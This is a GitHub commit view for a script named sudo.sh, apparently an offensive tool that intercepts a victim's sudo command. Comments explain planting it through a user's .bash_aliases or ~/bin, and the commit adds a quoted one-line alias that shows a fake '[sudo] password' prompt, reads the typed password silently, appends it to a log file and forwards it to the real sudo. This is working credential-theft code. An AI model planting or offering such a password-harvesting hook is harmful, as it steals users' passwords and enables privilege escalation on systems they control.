Update sudo.sh

This commit is contained in:
dade 2020-04-03 11:59:33 -07:00 committed by GitHub
parent f6a5cc90ce
commit 29780d29ed
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -3,6 +3,10 @@
# If you can modify a users .bash_aliases, you can alias sudo to this # If you can modify a users .bash_aliases, you can alias sudo to this
# If you can drop a file in ~/bin (and that's at the start of a users path), you can put this there. # If you can drop a file in ~/bin (and that's at the start of a users path), you can put this there.
# Read the comments because certain quirks work if it's an alias vs if it's in ~/bin # Read the comments because certain quirks work if it's an alias vs if it's in ~/bin
#
# from noproto:
# alias sudo='echo -n "[sudo] password for $USER: ";stty -echo;read passwd;stty echo;echo;echo $passwd|tee -a pwlog|sudo -S -p ""'
#
user=$(whoami) user=$(whoami)
outPath=/tmp/01234-9876-ABEEFC0 outPath=/tmp/01234-9876-ABEEFC0